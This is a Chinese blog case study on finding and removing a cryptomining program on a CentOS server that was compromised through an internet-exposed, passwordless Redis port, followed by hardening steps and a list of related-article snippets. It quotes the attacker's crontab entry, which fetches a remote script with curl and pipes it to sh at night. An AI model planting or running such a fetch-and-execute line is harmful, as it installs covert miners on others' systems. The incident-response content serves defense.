案例分享—服务器被植入挖矿程序排查

article/2025/10/23 13:10:41

主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

排查过程分析

首先登录服务器,查看整个系统状态。目标服务器是16核32GB,执行top命令发现平均负载在10左右,主要是被一个可疑的minerd进程消耗大量CPU资源,并且这个minerd进程还是由root用户启动的,已经启动了37min25s,当时时间是19:37。接着,又询问客户秒杀系统故障持续时间,客户回复大概半小时左右。

搜索关键字minerd发现这个一个挖矿程序,“挖矿”的本质是使用计算机解决一项复杂的数学问题,特定算法会消耗大量CPU资源,导致系统卡顿。

既然找到了问题,接下来就捋清思路解决问题:

  1. 清理挖矿程序。
  2. 排查挖矿程序的植入原因。
  3. 修复漏洞,安全加固。

清理挖矿程序

通过top找到minerd的进程号13343,根据进程号,查询产生进程的程序路径 。

#查询PID对应的可执行文件路径
ls -al /proc/13343/exe

上面命令的执行结果为/var/tmp/minerd,接下来执行kill -9 13343 杀死进程,并执行rm -rf /var/tmp/minerd清理挖矿程序。

再次执行top发现minerd进程已经不在,且平均负载已经下降,说明问题已经初步解决,但是一般植入挖矿程序都会修改crontab,检查/var/spool/cron/root发现如下计划任务:

*/5 19-23,0-7 * * * curl -fsSL https://*****/api/report?pm=*** | sh

可以看出,这个计划任务避开工作时间偷偷挖矿,具有一定隐蔽性。这也印证了客户提的晚上七点开始系统出现故障。 rm -rf /var/spool/cron/root删除计划任务即可。

排查挖矿程序植入原因

通过netstat -tnpl查看到Redis的6380端口监听在0.0.0.0上,这属于高风险操作。接着,通过iptables -nL发现INPUT链有一条关于6380端口的开放规则:

ACCEPT  tcp  --  0.0.0.0/0  0.0.0.0/0  tcp dpt:6380

这条规则使Redis对全网开放,且在外网可以使用redis-cli -h xx.xx.xx.xx -p 6380无密码远程登录Redis。黑客很有可能利用Redis漏洞,同通过反弹Shell注入crontab来植入挖矿程序。

询问客户为何开放6380端口。客户回忆说,因为开发人员要在家办公,需要远程连接Redis,所以要开放6380端口,开发人员处理完问题,运维人员忘记关闭端口,就导致了这次事故的发生。

对于线上服务器,是不能随意开放端口的,虽然问题体现在端口开放上,但本质是开发和运维的协作机制问题,如果加强沟通,肯定会避免此类问题。

修复漏洞,安全加固

  1. 设置防火墙,禁止外网访问Redis:

    iptables -D INPUT -p tcp -m tcp --dport=6380 -j ACCEPT
  2. 以低权限运行Redis服务。

  3. 修改Redis默认端口,6379、6380、6381都是Redis常用的端口,建议修改成不易被识别的端口。

  4. 给Redis添加密码验证,修改redis.conf,添加requirepass 密码。重启Redis生效。

  5. 清空密钥认证文件,rm -rf /root/.ssh/*

  6. 修复sshd配置文件/etc/ssh/sshd_config,可以检查修改了那些配置项,也可以从正常的系统复制一个sshd_config过来。重启sshd生效。

  7. authorized_keys存储着本地系统允许远程SSH无密码登录大的账号信息。默认情况下此文件权限为600可以正常工作,为了安全起见可以将authorized_keys的权限设置为只读、其他用户无权限,且无法修改此文件的权限,即:

    chmod 400 ~/.ssh/authorized_keys
    chattr +i ~/.ssh/authorized_keys
  8. 检查/etc/rc.local/etc/init.d下是否有可疑内容。


欢迎大家关注我,更多Linux干货等着你!

 


http://chatgpt.dhexx.cn/article/iQCRODuH.shtml

相关文章

解决阿里云服务器提示挖矿程序风险

最近阿里云天天提示我挖矿,可是我是良民啊,还要封我号,把我吓够呛啊。 后台通过CPU 被挖矿,Redis 竟是内鬼!_CSDN云计算-CSDN博客 这篇文章有所启发,大家可以看下 目前没提示,后期再提示再更新…

记录解决阿里云ES服务器提示挖矿程序

前言 突然收到阿里云的短信提醒,说服务器出现了恶意挖矿程序,还好这台上都是测试服务器,之前也做了数据备份,可以放心去整,不过还是得小心严重操作前记得备份下 处理过程 1、检查服务器负载与CPU利用率&#xff0c…

服务器提示有挖矿程序,是怎么回事

在提示我有挖矿程序后,我去阿里云的安全中心,看到有三个病毒进程警告,但是都结束进程失败,然后我询问售后工程师,售后工程师给我的回复时格式化云盘。因为没有找到更好的解决方式,就选择了重新安装系统和格…

【解决阿里云服务器提示挖矿程序风险2022】

解决阿里云服务器提示挖矿程序风险2022-10 搜索删除含system-private相关的所有文件 如图:system-private....2.清除定时任务 3.修改文件可执行权限 4.清除路由表中隐患IP 5.在不使用云服务器的情况下可以关闭ssh端口 参考资料: 解决阿里云服务器提示挖…

[linux] 挖矿程序的停止与清除

问题描述 实验室的linux服务器有一位用户的密码比较弱,被试出来了,然后攻击者在我们的服务器上运行了挖矿程序 gpustat查询后发现:四张显卡都被占满,GPU显存占用不大,但使用率为100% 此时如果直接kill那个占用显卡的…

Ubuntu服务器清除挖矿程序

言简意赅,直入主题 早晨ssh登录服务器的时候发现出现情况 screen创建的会话本来还在跑代码的,重新进入一看被terminal了 一脸懵逼地输入nvidia-smi 我了个擦!两张显卡占用一样,而且每秒都是100%,并且都只有一个程序在…

liunx挖矿程序排查思路

最近收到一个阿里云安全告警,在这里写一下自己的排查思路,与大家交流一下: 安全告警邮件 查看异常情况 输入top,输入shift P会按照cpu的使用率大小从大到小进行排序,发现有异常进程7140与7129 [rootwww-site-ec-6 ]# ps -ef…

阿里云服务器中了挖矿程序应该如何清除

阿里云服务器中了挖矿程序如何处理?云安全中心安全告警短信提醒云服务器中了挖矿程序怎么处理?护云盾来详细说下阿里云服务器挖矿程序的解决方法,一种是使用云安全中心自动处理,另一种方式是自行手动清除。 阿里云服务器挖矿程序解决方法 如果你的阿里云服务器中了挖矿程…

阿里云服务器被挖矿程序侵入问题

一、起因 公司需要自行管理代码,所以搞了个阿里云服务器装Gitlab,装的时候版本是13.9.4(在Gitlab挖矿漏洞的版本内)。一直正常使用,然后半夜突然收到阿里云告警短信,说服务器可能存在挖矿程序,部…

移除挖矿程序过程记录

前言: 早上发现一个服务器的挖矿程序预警消息: 那么接下来开始处理这个问题, 废话不说直接上有效的操作了; 1、查看系统定时任务及修改: 查看系统定时任务:方式一:crontab -lcrontab -e&…

如何检查并清除挖矿程序

1.检查cpu使用率 根据cpu使用率曲线确定2.11日可能被注入挖矿程序,根据top确定挖矿程序进程kdevtmpfsi 2.确定挖矿进程源程序位置 find / -name kdevtmpfsi ll 查看安装时间,对比cpu突然拔升时间 3.检查psadm2用户的合法性 4.检查root或者psadm2用…

挖矿程序的处理方式及步骤

概述 随着币圈市场交易的活跃,币价也被日益推高。 从BTC兑美元的在线交易平台上可以看出,BTC的价格屡创新高,这与MG的2W亿脱不了干系。 “重赏之下,必有勇夫”,在互联网圈里也同样适用啊。 所以服务器被植入挖矿程序已经不是很稀奇的事情了,很多服务器因为漏洞、弱密码、…

【树莓派】树莓派系统安装

上一个项目被网络的问题搞得头痛,使用了STM32F407往服务器上扔数据,结果发现一直没有办法连接上服务器,一直在发送arp查找MAC地址,最后使用了树莓派搭建了一个局域网络,先连接树莓派然后进行转发,才连接上服…

树莓派安装Windows for ARM

树莓派安装Windows for ARM 准备1.树莓派2/3/4/400(RAM>2GB)2.WoR 获取Windows for ARM镜像安装启动 准备 1.树莓派2/3/4/400(RAM>2GB) 2.WoR WoR(Windows on ARM)是一款简化树莓派安装Windows的软件。它有一个十分友善操作页面,对于懒癌晚期的患者是一个福…

树莓派安装Docker方法

再次提醒,如果是raspberry系统已经集成安装,就不需要再次安装了。 docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化&…

树莓派之树莓派系统安装

树莓派系统安装 概述 树莓派(是为学习计算机编程教育而设计),只有信用卡大小的微型电脑,其系统基于Linux。随着Windows 10 IoT的发布,我们也将可以用上运行Windows的树莓派。2014年刚知道有树莓派的时候好奇买了一块,型号&#x…

树莓派——安装OpenCV

我的开题需要使用树莓派录制视频,并对视频处理传送回后端服务器,因此需要安装OpenCV。 安装OpenCV参考了好多文章,但都不成功,只有这篇博主的我照着做才成功:超简单教你在树莓派上安装opencv(一) 一、树莓派系统安装 …

树莓派安装anaconda

树莓派安装anaconda **1、查看版本:****2、下载安装包:****3、安装:****4、查看****5、换源:****6、创建虚拟环境****7、解决部分异常问题****8、卸载:** 1、查看版本: uname -a2、下载安装包:…

树莓派如何安装 Python 环境

树莓派安装的 RasberryPi 系统默认是带有 Python 环境的,不过经常在开发的时候需要不同的 Python 版本环境,此时就需要另外安装所需要的 Python 版本环境。这里就以在树莓派上安装 Python3.6 为例进行安装讲解。 详细安装步骤如下: 一、安装…

树莓派-系统安装连接无线远程连接

目录 一、背景: 二、树莓派系统介绍及安装 2.1、装系统方式一: 自己手动装系统 2.2 装系统方式二:Imager 一键烧录 三、树莓派四代b版本 Raspberry Pi 4 Model B 3.1 Raspberry Pi 4 Model B 介绍 3.2 第一次组装树莓派准备工作 3…